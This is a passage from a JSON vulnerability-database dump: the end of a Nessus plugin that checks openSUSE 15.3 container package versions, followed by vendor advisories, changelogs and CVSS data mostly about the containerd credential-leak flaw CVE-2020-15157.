processes. When run in a container in a CI/CD environment, environment variables\n may include sensitive information that was shared with the container in order to be used only by Buildah\n itself (e.g. container registry credentials). (CVE-2021-3602)\n\n - A flaw was found in podman. The `podman machine` function (used to create and manage Podman virtual\n machine containing a Podman process) spawns a `gvproxy` process on the host system. The `gvproxy` API is\n accessible on port 7777 on all IP addresses on the host. If that port is open on the host's firewall, an\n attacker can potentially use the `gvproxy` API to forward ports on the host to ports in the VM, making\n private services on the VM accessible to the network. This issue could be also used to interrupt the\n host's services by forwarding all ports to the VM. (CVE-2021-4024)\n\n - The OCI Distribution Spec project defines an API protocol to facilitate and standardize the distribution\n of content. In the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone\n was used to determine the type of document during push and pull operations. Documents that contain both\n manifests and layers fields could be interpreted as either a manifest or an index in the absence of an\n accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a\n client may interpret the resulting content differently. The OCI Distribution Specification has been\n updated to require that a mediaType value present in a manifest or index match the Content-Type header\n used during the push and pull operations. Clients pulling from a registry may distrust the Content-Type\n header and reject an ambiguous document that contains both manifests and layers fields or manifests\n and config fields if they are unable to update to version 1.0.1 of the spec. (CVE-2021-41190)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1176804\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1177598\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1181640\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1182998\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1188520\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1188914\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1193166\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1193273\");\n # https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/5BA2TLW7O5ZURGQUAQUH4HD5SQYNDDZ6/\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?f8e88443\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-14370\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-15157\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2021-20199\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2021-20291\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2021-3602\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2021-4024\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2021-41190\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-4024\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/09/22\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/03/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/03/05\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:conmon\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libcontainers-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libseccomp-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libseccomp-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libseccomp2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libseccomp2-32bit\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:podman\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:podman-cni-config\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.3\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nvar release = get_kb_item('Host/SuSE/release');\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, 'openSUSE');\nvar os_ver = pregmatch(pattern: \"^SUSE([\\d.]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'openSUSE');\nos_ver = os_ver[1];\nif (release !~ \"^(SUSE15\\.3)$\") audit(AUDIT_OS_RELEASE_NOT, 'openSUSE', '15.3', release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'openSUSE ' + os_ver, cpu);\n\nvar pkgs = [\n {'reference':'conmon-2.0.30-150300.8.3.1', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libcontainers-common-20210626-150300.8.3.1', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libseccomp-devel-2.5.3-150300.10.5.1', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libseccomp-tools-2.5.3-150300.10.5.1', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libseccomp2-2.5.3-150300.10.5.1', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libseccomp2-32bit-2.5.3-150300.10.5.1', 'cpu':'x86_64', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'podman-3.4.4-150300.9.3.2', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'podman-cni-config-3.4.4-150300.9.3.2', 'release':'SUSE15.3', 'rpm_spec_vers_cmp':TRUE}\n];\n\nvar flag = 0;\nforeach package_array ( pkgs ) {\n var reference = NULL;\n var release = NULL;\n var cpu = NULL;\n var rpm_spec_vers_cmp = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = package_array['release'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (reference && release) {\n if (rpm_check(release:release, cpu:cpu, reference:reference, rpm_spec_vers_cmp:rpm_spec_vers_cmp)) flag++;\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'conmon / libcontainers-common / libseccomp-devel / libseccomp-tools / etc');\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "oraclelinux": [{"lastseen": "2021-07-28T14:24:51", "description": "[1.2.14-1.0.1]\n- BUILDINFO: commit=259ae80da592d4f6b5e3cdc87202d36bc86a3579\n- Addresses CVE-2020-15157\n[1.2.14-1.0.0]\n- Added Oracle specific build files", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 4.0}, "published": "2020-11-02T00:00:00", "type": "oraclelinux", "title": "containerd security update", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2020-11-02T00:00:00", "id": "ELSA-2020-5906", "href": "http://linux.oracle.com/errata/ELSA-2020-5906.html", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-07-28T14:24:25", "description": "docker-engine\n[19.03.11-6]\n- Fix for CVE-2020-15157\n[19.03.11-5]\n- Bugfix for 'docker images [name]' not working on docker 19.03.11-ol\n- Address CVE-2020-16845\n[19.03.11-4]\n- added patch for registry list\n[19.03.11-3]\n- update to 19.03.11 for CVE-2020-13401\n[19.03.1-1.0.0]\n- update to 19.03.1\n[19.03-0.0.1]\n- update to 19.03\n[18.09.1-1.0.6]\n- disable kmem accounting for UEKR4\n[18.09.1-1.0.5]\n- apply e4931e664feac6fa8846f3f04268a0cc98822549, fixes CVE-2019-5736\n[18.09.1-1.0.4]\n- fix authentication error when using docker hub and using --default-registry\n[18.09.1-1.0.3]\n- fix authentication errors when using docker hub\n[18.09.1-1.0.2]\n- use epoch in container-selinux dependency\n[18.09.1-1.0.1]\n- fix 'docker cp doesn't work for btrfs' (OLM-158)\n- update build to Go 1.10.8\n[18.09.1-1.0.0]\n- update to 18.09.1\n[18.09-1.0.0]\n- rename back to docker-engine, rename dockerd-ce to dockerd and stop\n using alternatives\n[18.09-0.0.1]\n- merge docker-engine.spec changes by Oracle into docker-ce.spec from upstream\n 18.09 branch\n[18.03.1.ol-0.0.7]\n- fix [orabug 28452214] and [orabug 28461404]\n[18.03.1.ol-0.0.6]\n- obsolete/provide the docker package [orabug 28216396]\n- Fix docker plugin reference resolution [orabug 28376247]\n[18.03.1.ol-1.0.4]\n- Fixed issue where RPM overwrites config files\n[17.12.0.ol-1.0.1]\n- Update docker-engine package for upstream 17.12.0\n[17.09.1.ol-1.0.2]\n- Update docker-engine package for upstream 17.09.1\n[17.06.2.ol-1.0.1]\n- Update docker-engine package for upstream 17.06.2 [orabug 26673768]\n- Migrate to new 'ol'-based versioning\n- add docker-storage-config utility\n[17.03.1-ce-3.0.1]\n- Update docker-engine package for upstream 17.03.1\n- Enable configuration of Docker daemon via sysconfig [orabug 21804877]\n- Require UEK4 for docker 1.9 [orabug 22235639 22235645]\n- Add docker.conf for prelink [orabug 25147708]\n- Update oracle linux selinux policy to match upstream [orabug 25653794]\n- Use dockerd instead of docker daemon as it is deprecated [orabug 25653794]\ndocker-cli\n[19.03.11-6]\n- Fix for CVE-2020-15157\n[19.03.11-5]\n- Bugfix for 'docker images [name]' not working on docker 19.03.11-ol\n- Address CVE-2020-16845\n[19.03.11-4]\n- added patch for registry list\n[19.03.11-3]\n- update to 19.03.11 for CVE-2020-13401\n[19.03.1-1.0.0]\n- update to 19.03.1\n[19.03-0.0.1]\n- update to 19.03\n[18.09.1-1.0.6]\n- disable kmem accounting for UEKR4\n[18.09.1-1.0.5]\n- apply e4931e664feac6fa8846f3f04268a0cc98822549, fixes CVE-2019-5736\n[18.09.1-1.0.4]\n- fix authentication error when using docker hub and using --default-registry\n[18.09.1-1.0.3]\n- fix authentication errors when using docker hub\n[18.09-1.0.0]\n- rename to docker-cli\n[18.09-0.0.1]\n- merge docker-engine.spec changes by Oracle into docker-ce-cli.spec from\n upstream 18.09 branch", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2020-10-28T00:00:00", "type": "oraclelinux", "title": "docker-engine docker-cli security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-5736", "CVE-2020-13401", "CVE-2020-15157", "CVE-2020-16845"], "modified": "2020-10-28T00:00:00", "id": "ELSA-2020-5900", "href": "http://linux.oracle.com/errata/ELSA-2020-5900.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:24:42", "description": "docker-cli\n[19.03.11-7]\n- Fix for CVE-2020-15257\n[19.03.11-6]\n- Fix for CVE-2020-15157\n[19.03.11-5]\n- Bugfix for 'docker images [name]' not working on docker 19.03.11-ol\n- Address CVE-2020-16845\n[19.03.11-4]\n- added patch for registry list\n[19.03.11-3]\n- update to 19.03.11 for CVE-2020-13401\n[19.03.1-1.0.0]\n- update to 19.03.1\n[19.03-0.0.1]\n- update to 19.03\n[18.09.1-1.0.6]\n- disable kmem accounting for UEKR4\n[18.09.1-1.0.5]\n- apply e4931e664feac6fa8846f3f04268a0cc98822549, fixes CVE-2019-5736\n[18.09.1-1.0.4]\n- fix authentication error when using docker hub and using --default-registry\n[18.09.1-1.0.3]\n- fix authentication errors when using docker hub\n[18.09-1.0.0]\n- rename to docker-cli\n[18.09-0.0.1]\n- merge docker-engine.spec changes by Oracle into docker-ce-cli.spec from\n upstream 18.09 branch\ndocker-engine\n[19.03.11-7]\n- Fix for CVE-2020-15257\n[19.03.11-6]\n- Fix for CVE-2020-15157\n[19.03.11-5]\n- Bugfix for 'docker images [name]' not working on docker 19.03.11-ol\n- Address CVE-2020-16845\n[19.03.11-4]\n- added patch for registry list\n[19.03.11-3]\n- update to 19.03.11 for CVE-2020-13401\n[19.03.1-1.0.0]\n- update to 19.03.1\n[19.03-0.0.1]\n- update to 19.03\n[18.09.1-1.0.6]\n- disable kmem accounting for UEKR4\n[18.09.1-1.0.5]\n- apply e4931e664feac6fa8846f3f04268a0cc98822549, fixes CVE-2019-5736\n[18.09.1-1.0.4]\n- fix authentication error when using docker hub and using --default-registry\n[18.09.1-1.0.3]\n- fix authentication errors when using docker hub\n[18.09.1-1.0.2]\n- use epoch in container-selinux dependency\n[18.09.1-1.0.1]\n- fix 'docker cp doesn't work for btrfs' (OLM-158)\n- update build to Go 1.10.8\n[18.09.1-1.0.0]\n- update to 18.09.1\n[18.09-1.0.0]\n- rename back to docker-engine, rename dockerd-ce to dockerd and stop\n using alternatives\n[18.09-0.0.1]\n- merge docker-engine.spec changes by Oracle into docker-ce.spec from upstream\n 18.09 branch\n[18.03.1.ol-0.0.7]\n- fix [orabug 28452214] and [orabug 28461404]\n[18.03.1.ol-0.0.6]\n- obsolete/provide the docker package [orabug 28216396]\n- Fix docker plugin reference resolution [orabug 28376247]\n[18.03.1.ol-1.0.4]\n- Fixed issue where RPM overwrites config files\n[17.12.0.ol-1.0.1]\n- Update docker-engine package for upstream 17.12.0\n[17.09.1.ol-1.0.2]\n- Update docker-engine package for upstream 17.09.1\n[17.06.2.ol-1.0.1]\n- Update docker-engine package for upstream 17.06.2 [orabug 26673768]\n- Migrate to new 'ol'-based versioning\n- add docker-storage-config utility\n[17.03.1-ce-3.0.1]\n- Update docker-engine package for upstream 17.03.1\n- Enable configuration of Docker daemon via sysconfig [orabug 21804877]\n- Require UEK4 for docker 1.9 [orabug 22235639 22235645]\n- Add docker.conf for prelink [orabug 25147708]\n- Update oracle linux selinux policy to match upstream [orabug 25653794]\n- Use dockerd instead of docker daemon as it is deprecated [orabug 25653794]", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2020-12-05T00:00:00", "type": "oraclelinux", "title": "docker-cli docker-engine security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-5736", "CVE-2020-13401", "CVE-2020-15157", "CVE-2020-15257", "CVE-2020-16845"], "modified": "2020-12-05T00:00:00", "id": "ELSA-2020-5966", "href": "http://linux.oracle.com/errata/ELSA-2020-5966.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "redhatcve": [{"lastseen": "2022-08-06T14:26:15", "description": "A flaw was found in containerd. Credentials may be leaked during an image pull.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": "2020-10-21T15:55:41", "type": "redhatcve", "title": "CVE-2020-15157", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2022-08-06T10:23:32", "id": "RH:CVE-2020-15157", "href": "https://access.redhat.com/security/cve/cve-2020-15157", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "ubuntucve": [{"lastseen": "2022-08-04T13:25:39", "description": "In containerd (an industry-standard container runtime) before version\n1.2.14 there is a credential leaking vulnerability. If a container image\nmanifest in the OCI Image format or Docker Image V2 Schema 2 format\nincludes a URL for the location of a specific image layer (otherwise known\nas a \u201cforeign layer\u201d), the default containerd resolver will follow that URL\nto attempt to download it. In v1.2.x but not 1.3.0 or later, the default\ncontainerd resolver will provide its authentication credentials if the\nserver where the URL is located presents an HTTP 401 status code along with\nregistry-specific HTTP headers. If an attacker publishes a public image\nwith a manifest that directs one of the layers to be fetched from a web\nserver they control and they trick a user or system into pulling the image,\nthey can obtain the credentials used for pulling that image. In some cases,\nthis may be the user's username and password for the registry. In other\ncases, this may be the credentials attached to the cloud virtual instance\nwhich can grant access to other cloud resources in the account. The default\ncontainerd resolver is used by the cri-containerd plugin (which can be used\nby Kubernetes), the ctr development tool, and other client programs that\nhave explicitly linked against it. This vulnerability has been fixed in\ncontainerd 1.2.14. containerd 1.3 and later are not affected. If you are\nusing containerd 1.3 or later, you are not affected. If you are using\ncri-containerd in the 1.2 series or prior, you should ensure you only pull\nimages from trusted sources. Other container runtimes built on top of\ncontainerd but not using the default resolver (such as Docker) are not\naffected.", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": "2020-10-15T00:00:00", "type": "ubuntucve", "title": "CVE-2020-15157", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2020-10-15T00:00:00", "id": "UB:CVE-2020-15157", "href": "https://ubuntu.com/security/CVE-2020-15157", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "mageia": [{"lastseen": "2022-04-18T11:19:34", "description": "It was discovered that Docker could be made to expose sensitive information when processing URLs in container image manifests. A remote attacker could use this to trick the user and obtain the user's registry credentials (CVE-2020-15157). \n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": "2020-11-09T14:48:43", "type": "mageia", "title": "Updated docker packages fix a security vulnerability\n", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2020-11-09T14:48:43", "id": "MGASA-2020-0406", "href": "https://advisories.mageia.org/MGASA-2020-0406.html", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "github": [{"lastseen": "2022-04-19T19:29:35", "description": "## Impact\n\nIf a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a \u201cforeign layer\u201d), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers.\n\nIf an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account.\n\nThe default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it.\n\nThis vulnerability has been rated by the containerd maintainers as medium, with a CVSS score of 6.1 and a vector string of CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N.\n\n## Patches\n\nThis vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected.\n\n## Workarounds\n\nIf you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources. Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected.\n\n## Credits\n\nThe containerd maintainers would like to thank Brad Geesaman, Josh Larsen, Ian Coldwater, Duffie Cooley, and Rory McCune for responsibly disclosing this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/master/SECURITY.md).", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": "2022-02-11T23:27:39", "type": "github", "title": "containerd v1.2.x can be coerced into leaking credentials during image pull", "bulletinFamily": "software", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2022-04-19T19:02:37", "id": "GHSA-742W-89GC-8M9C", "href": "https://github.com/advisories/GHSA-742w-89gc-8m9c", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "amazon": [{"lastseen": "2022-01-12T02:29:47", "description": "**Issue Overview:**\n\nA flaw was found in containerd. Credentials may be leaked during an image pull. (CVE-2020-15157)\n\n \n**Affected Packages:** \n\n\ncontainerd\n\n \n**Issue Correction:** \nRun _yum update containerd_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n src: \n \u00a0\u00a0\u00a0 containerd-1.3.2-1.3.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 containerd-debuginfo-1.3.2-1.3.amzn1.x86_64 \n \u00a0\u00a0\u00a0 containerd-stress-1.3.2-1.3.amzn1.x86_64 \n \u00a0\u00a0\u00a0 containerd-1.3.2-1.3.amzn1.x86_64 \n \n \n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 4.0}, "published": "2021-12-28T23:54:00", "type": "amazon", "title": "Medium: containerd", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2021-12-29T00:02:00", "id": "ALAS-2021-1555", "href": "https://alas.aws.amazon.com/ALAS-2021-1555.html", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "osv": [{"lastseen": 